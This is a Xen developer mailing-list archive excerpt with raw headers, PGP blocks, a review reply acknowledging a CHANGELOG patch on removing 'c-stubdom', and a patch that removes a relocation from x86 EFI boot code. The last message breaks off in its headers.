Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDYvMDcvMjAyNiDDoCAxMTowOCwgSnVlcmdlbiBHcm9zcyBhIMOpY3JpdMKgOg0KPiBT
aWduZWQtb2ZmLWJ5OiBKdWVyZ2VuIEdyb3NzIDxqZ3Jvc3NAc3VzZS5jb20+DQo+IC0tLQ0K
PiAgIENIQU5HRUxPRy5tZCB8IDEgKw0KPiAgIDEgZmlsZSBjaGFuZ2VkLCAxIGluc2VydGlv
bigrKQ0KPiANCj4gZGlmZiAtLWdpdCBhL0NIQU5HRUxPRy5tZCBiL0NIQU5HRUxPRy5tZA0K
PiBpbmRleCBlZjRlNmFlOWM0Li5mYzk4NDBjNWQyIDEwMDY0NA0KPiAtLS0gYS9DSEFOR0VM
T0cubWQNCj4gKysrIGIvQ0hBTkdFTE9HLm1kDQo+IEBAIC0xNSw2ICsxNSw3IEBAIFRoZSBm
b3JtYXQgaXMgYmFzZWQgb24gW0tlZXAgYSBDaGFuZ2Vsb2ddKGh0dHBzOi8va2VlcGFjaGFu
Z2Vsb2cuY29tL2VuLzEuMC4wLykNCj4gICAgICAtIFRoZSBrZXhlYyAidjEiIGludGVyZmFj
ZSwgd2hpY2ggd2FzIGRlY2xhcmVkIG9ic29sZXRlIGluIFhlbiA0LjQgKDIwMTMpLg0KPiAg
ICAgICAgVGhlIG9ubHkga25vd24gdXNlciB3YXMgdGhlIGNsYXNzaWMteGVuIGZvcmsgb2Yg
TGludXguICBUaGlzIGRvZXMgbm90DQo+ICAgICAgICBhZmZlY3QgWGVuIGtleGVjIHN1cHBv
cnQgaW4gdGhlIGtleGVjLXRvb2xzIHBhY2thZ2UuDQo+ICsgICAtIFRoZSBleGFtcGxlIHN0
dWJkb20gImMtc3R1YmRvbSIgaGFzIGJlZW4gcmVtb3ZlZC4NCj4gICANCj4gICAjIyBbNC4y
Mi4wIFVOUkVMRUFTRURdKGh0dHBzOi8veGVuYml0cy54ZW5wcm9qZWN0Lm9yZy9naXR3ZWIv
P3A9eGVuLmdpdDthPXNob3J0bG9nO2g9c3RhZ2luZykgLSBUQkQNCj4gICANCg0KUmV2aWV3
ZWQtYnk6IFRlZGR5IEFzdGllIDx0ZWRkeS5hc3RpZUB2YXRlcy50ZWNoPg0K
--------------IJeqZfC09YohP0MefKjuHq0Y
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3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C3FnkzEFRkKbYu6NCfiHfEyB3Xyg9hfdrRgj
MRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ovXoK4jm+Py0FiUGUa
A6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------IJeqZfC09YohP0MefKjuHq0Y--

--------------tuDUN3HkzB3CUFW0EzR1jJDY--

--------------lJ7JyMS3Ud2nUOJKYcCjKlFJ
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpLeyQFAwAAAAAACgkQZg+p0QLLz9CE
jAv9HFZRWmHPDY8tkw3KMAOM4PEQT0G5CczPXB0a9txAsiYA66AG/AlHJN0Xpn4mB6I+lv3Tg8y0
Z/4vcU1IZPyg8yptQ9ooopKJ+5GFgmC7svqU1TGFwpWlSx1kq240CXWCCMQXTHvyskRUsbP5mGMQ
SCfgHjUcDXcs/fFxcKydpLzwnINEQHjo8Pc+dRR0getNjoGG95FQ6piQfHGIN7ATjmGSV/vHYDd1
O5K23Qq//x5+Pjk0IjG4n6yf9S7Ot1+Pyo2sD/+aR9wereneV9VQ/6sMaBqaMt/FTydWViKQtVos
X/L1YhTKI+kD1ogaIJenG9SOSqBXtneYnVyvs24N1RngwQcglIH3pwNII0eJBcPPmOv3yu+8DNwY
dXKjvXG0RqHt4zjam/z1XMBpt3dKHOVIUMxCh6cwMJRSO3ivhc9zCmCBe9VFNd3f0jZSVFCHhSo8
hxphO0kUGVbiu9JzJjJutXXTJmyuSsjlMQNm6gsGu4Bf4EWlLzMDNteJfSXZ
=7Iq+
-----END PGP SIGNATURE-----

--------------lJ7JyMS3Ud2nUOJKYcCjKlFJ--


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 10:00:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 10:00:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355291.1610054 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgg7N-0004C7-50; Mon, 06 Jul 2026 10:00:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355291.1610054; Mon, 06 Jul 2026 10:00:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgg7N-0004C0-1s; Mon, 06 Jul 2026 10:00:01 +0000
Received: by outflank-mailman (input) for mailman id 1355291;
 Mon, 06 Jul 2026 09:59:59 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgg7L-0004Bu-EU
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:59:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgg7K-008l2D-8Z
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:59:58 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4b7c9c-bab6-0a2a0a5309dd-0a2a4502d27e-10
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:59:58 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4b7c9e-5a27-0a2a45020019-d155802ad8df-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:59:58 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493b786d6c0so14679115e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 02:59:58 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c637bc21sm646753725e9.7.2026.07.06.02.59.57
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 02:59:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783331998; x=1783936798; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ZRAhF4U1NYot2dtfZsaGtrwjxvypnClVIDgYlq1+2xQ=;
        b=d3UlhGgXmRIloM4hCCnSo2IU2lh3I+znEfZPDCZ+BuYOsCg243KvW8Y70O1a7wT2cN
         C0xkcYmEtYQBQPrCmr+zkJdzRFQBeFlGRXF99j8JASCN4trq0BVH87BxgaxvePpHHoOR
         3cE5eJW8sG/OU7i+z6HA//gXzaDI/yAMoLPQKhYkzmhH3voy41bS19Jg/vpnvVeiyDyq
         /7Lffvaw9Q318PS7sjAHEDWQ1gL3hJUH+ss84f81gjmB/btVajREfwS4Fcza+8nhXas9
         /+CEjIszFVlIL3TCoCHfNUJdN/pHXD85lNQim51rGnnYZVYRCBtO8J2QjuSjruDav5w3
         llmA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783331998; x=1783936798;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZRAhF4U1NYot2dtfZsaGtrwjxvypnClVIDgYlq1+2xQ=;
        b=bX5X3EAtN/+tpVZtUCaKn7RzrB70pmw9FV77FKD5ywZt7X44VhEgHjUMIlM8YI+DZv
         H6Rn7rl5ca1ncyiA8KrgsKvvsmIfQgNrUoKsaoXYZaYuQLrgUpBhJ0jX4lIzM7hhZ6Uw
         p/abZK7hsi/DiUdC+kxiqjdhm5H9iMWa/jCv1/6VVEpvyALtyTdcZJzjzunMtp0rE5eF
         /2lhPYLul5dJxwVe6nqaD+R2Moe6VMy4/AuKWRbmjAQMq5DDVXnDhBSU0y3HtTcPa4Vb
         Oym/6TR7B/HLV7REdP0r1vKsIHMU7ynbQrcckMLWwhwdO2qRaQDM/y6xtTjgD5FAT2ow
         3I1A==
X-Forwarded-Encrypted: i=1; AHgh+RpRMpxc6BlZAaryrotViyGWz3PZ5i8xb9sBZrKl08Ps6LcTtbznWQgWKJwXZAjf2sdiqPdxkFBZHOU=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx+DNbg1R9kLMv/pgHaJ+EM0+U3MF5t80HH42w8RSKLXfMafoSN
	XMIgCH+J1dHzdiL6z/0mRp+r4IQ23rLkEIYrCnzC7lZaP5EGtnBlnNRn
X-Gm-Gg: AfdE7cl8r+sSjw1PQqRDxq2RRkuYegSa8aff6nEKv02SplaWTJstWD/w60yHzvWUWNk
	4O0KkSe46TsNATyqvIPAkahZKj/LqFqy1gAXiibFkXVHaTPxwSZMt+HwxDLoqw3vK511+oHnEhU
	hJ15sM7vVMvZ1RedqM1WVh0DBfnmei2OhBBkW0D/j+sM/WE0BzlMJJRp/+GRkyURGx8R7v+s3ls
	HN4NB7wpbebW4H20AUTUfJeMUhFXX7Jm+72Bli7WXr89KLIz6Nijw5Q46vq+KvBxMyuqH42uzRW
	BGfnzliXHTFuc0n/wo4ECe77mATXTVGkimlhBJySWQhkXnmUXzfuFnnf/+4GyTvDjiCsWX4G1zp
	g+pbshpIhvYRpJLXDljOvt4OlZTkskSDqD/W4IZSn/1ktyG76WS7eMMBrf6rDL0OSzIHxoZym9L
	PgB51YLaPBrPZhSA1I4jGxs/HL4L6DiGm+UDBXwenn35QHnAiTmy5lNQDbleIqqPd1lI0=
X-Received: by 2002:a05:600c:198d:b0:493:bb6b:5bb5 with SMTP id 5b1f17b1804b1-493d11db4c1mr112111635e9.13.1783331997497;
        Mon, 06 Jul 2026 02:59:57 -0700 (PDT)
Message-ID: <4cf90f7a-d45e-4b60-bc4e-1d7a7b0d715f@gmail.com>
Date: Mon, 6 Jul 2026 11:59:56 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 2/2] CHANGELOG: add entry for removed c-stubdom
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Community Manager <community.manager@xenproject.org>
References: <20260706090521.1992123-1-jgross@suse.com>
 <20260706090521.1992123-3-jgross@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260706090521.1992123-3-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783331998-545187C5-C75D1FA6/10/73395122804
X-purgate-type: spam
X-purgate-size: 880



On 7/6/26 11:05 AM, Juergen Gross wrote:
> Signed-off-by: Juergen Gross <jgross@suse.com>
> ---
>   CHANGELOG.md | 1 +
>   1 file changed, 1 insertion(+)
> 
> diff --git a/CHANGELOG.md b/CHANGELOG.md
> index ef4e6ae9c4..fc9840c5d2 100644
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -15,6 +15,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
>      - The kexec "v1" interface, which was declared obsolete in Xen 4.4 (2013).
>        The only known user was the classic-xen fork of Linux.  This does not
>        affect Xen kexec support in the kexec-tools package.
> +   - The example stubdom "c-stubdom" has been removed.
>   
>   ## [4.22.0 UNRELEASED](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - TBD
>   

Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 10:46:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 10:46:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355304.1610079 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq2-0002f4-74; Mon, 06 Jul 2026 10:46:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355304.1610079; Mon, 06 Jul 2026 10:46:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq1-0002dl-VD; Mon, 06 Jul 2026 10:46:09 +0000
Received: by outflank-mailman (input) for mailman id 1355304;
 Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wggq0-0002UB-Te
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wggq0-008v6e-A4
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 12:46:08 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b8769-5cb7-0a2a0a5109dd-0a2a45029186-26
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:08 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b8770-5a27-0a2a45020019-d155802ba82a-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:08 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493b27c7451so34907015e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 03:46:08 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba97csm349823985e9.12.2026.07.06.03.46.06
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 03:46:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783334768; x=1783939568; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=HzSJO6a2Zt2m1n1ujDT4uRTju/cRsXyLEg5Me9ypANU=;
        b=dBmh5XMP7MOppMWRL6M1dvW8MkO2W9q1yKB5m8iPiQCLGtqGTAfT7sCPrxzJ5KhL5V
         eZXuL/S24r4X9jILGkqeqWXUAtPeQT5N9h1xELsqYZY3XPzcs9Rl4LI+29CHK5fFGYcI
         kYoW5GFjaqwVPd4Ga+iIIq/40EM/cbr6iz+G+Hj9tqA64gEVdhz5LWEZXRNS7zSTJdNQ
         uJMcpVuol44U8bDQAMnMj9Gv6D4X4BwUvrFF5Kzs4Heq1MEz17SPgKQZ2sPQysQRIzsb
         cdn5run4/FFEncseafTz6jW+AMkVQQYUNolu5RDo/MS+HUU12fLZ631x5qpUAgANm3X8
         Dk8g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783334768; x=1783939568;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=HzSJO6a2Zt2m1n1ujDT4uRTju/cRsXyLEg5Me9ypANU=;
        b=XSAtulQ0RWhE6qZZDPkAsvuGPdS3jR63E7XyJQrhSEsbKzJPo0nEtGvsbQGA2g9EFj
         PlBPfbQleTZyLXcrHOvXzA0apuo38h7NAlus3k3EAWTEpBe/Owe2EFUz2XBrUYlzst25
         WtDgB9vo6riiyTscowa5YbkgztbN6KDBu+XMlUbH76hcYnctAmerz/3P4lKPbkuckzcz
         HMSya5X+ynZt8RBXOmwxwQK9KLjcVEKtOhnz4ok0Mcg5Tj3f+7zRImbX7G0Ug82EbpmH
         NIjayXUW4Seiqug+34PFH1DEZQqc5C62Bdbc3XYTABzS99h5BssW7KvFWD9kX/lqi+ar
         zxlQ==
X-Gm-Message-State: AOJu0YwnyFK9q7EUw+U3JJoj2kiCFPppxnTseg5Q4VCK0+GatLnXO+Hp
	efnBhgCw9hBNk1cOzAgl5iECd1wS9oI4FxXqlOu6zZdjlLfyxat9Hfky2eIR81bpRaw=
X-Gm-Gg: AfdE7cknSL2SZ040ub6XfwIv6l/FrGYme/nX2PCmYRZIgat4wv3fcyaU4QCEKRfjSmc
	qlzdcm3DiNjS33evP02A3Iy3gmFNJ+OcDkpXlELtmXh4iweZvVAPXXYlZBsj1AyaYh7oXzJJ3E/
	EO7VWYB7rnEJB6vYobbZf2Qu5mdcm2glTKRfb167tl+lyLQ+Q72SsWvCfScwi3kysruhGFDE4IK
	1MmJjFlW92UbhI6ZilkXVoO0FDddZf0WaIF8KfUxIdjvWbsjAPw8y/oCz/scc1QPWHEL5EkcjPW
	H7tp0kpVufk588ZUD6TeLeotXZn5LThqyKpVSNHRdUHhYDn3oCmLShCfPQgpBCfmWwalgxD9av1
	0TrTahzByKB+o1ulOuQBY4u8EL52Jq7Gt9EqCqkgEYxox5mmY6KH/JdUWRNS2+Vsg75ybMK6m6+
	VxWGPmJNKWMrMmE4m9UGd5eMuJgXZRZgJIhveWEb5IojogkJJTlZJz8T5qNuESvdW61JQkbJ20Y
	GJZE21xXRxEag9fyIY=
X-Received: by 2002:a05:600c:4ed4:b0:493:c600:e1a6 with SMTP id 5b1f17b1804b1-493dece4adcmr1187235e9.12.1783334767437;
        Mon, 06 Jul 2026 03:46:07 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v7 3/4] x86/efi: avoid a relocation in efi_arch_post_exit_boot()
Date: Mon,  6 Jul 2026 11:45:56 +0100
Message-ID: <20260706104557.430097-4-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706104557.430097-1-frediano.ziglio@citrix.com>
References: <20260706104557.430097-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783334768-4E5147C5-3B7912CC/0/0
X-purgate-type: clean
X-purgate-size: 1970

From: Roger Pau MonnÃ© <roger.pau@citrix.com>

Instead of using the absolute __start_xen address, calculate it as an
offset from the current instruction pointer.  The relocation would be
problematic if the generated PE binary had .init.text as a standalone
section with just read and execute permissions.

Removing this relocation is necessary to make it safe to split .init.

No functional change intended.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
Changes since v1:
- Improve commit message.

Changes since v3:
- Added Acked-by.

Changes since v6:
- remove spurious quote.
---
 xen/arch/x86/efi/efi-boot.h | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/xen/arch/x86/efi/efi-boot.h b/xen/arch/x86/efi/efi-boot.h
index d738b839ee..b983f054b5 100644
--- a/xen/arch/x86/efi/efi-boot.h
+++ b/xen/arch/x86/efi/efi-boot.h
@@ -270,7 +270,9 @@ static void __init noreturn efi_arch_post_exit_boot(void)
 
                    /* Jump to higher mappings. */
                    "mov    stack_start(%%rip), %%rsp\n\t"
-                   "movabs $__start_xen, %[rip]\n\t"
+                   "lea    __start_xen(%%rip), %[rip]\n\t"
+                   "add    %[offset], %[rip]\n\t"
+
                    "push   %[cs]\n\t"
                    "push   %[rip]\n\t"
                    "lretq"
@@ -278,7 +280,8 @@ static void __init noreturn efi_arch_post_exit_boot(void)
                      [cr4] "+&r" (cr4)
                    : [cr3] "r" (idle_pg_table),
                      [cs] "i" (__HYPERVISOR_CS),
-                     [ds] "r" (__HYPERVISOR_DS)
+                     [ds] "r" (__HYPERVISOR_DS),
+                     [offset] "r" (__XEN_VIRT_START - xen_phys_start)
                    : "memory" );
     unreachable();
 }
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 10:46:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 10:46:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355301.1610063 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq1-0002UO-Dn; Mon, 06 Jul 2026 10:46:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355301.1610063; Mon, 06 Jul 2026 10:46:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq1-0002UH-Ae; Mon, 06 Jul 2026 10:46:09 +0000
Received: by outflank-mailman (input) for mailman id 1355301;
 Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wggpz-0002Tu-Uf
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wggpy-008v6e-Qe
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 12:46:06 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b8761-5cb7-0a2a0a5109dd-0a2a4509a9f8-18
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:06 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b876e-97e6-0a2a45090019-d1558030b820-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:06 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493c2b3dc8bso19813285e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 03:46:06 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba97csm349823985e9.12.2026.07.06.03.46.04
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 03:46:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783334766; x=1783939566; darn=lists.xenproject.org;
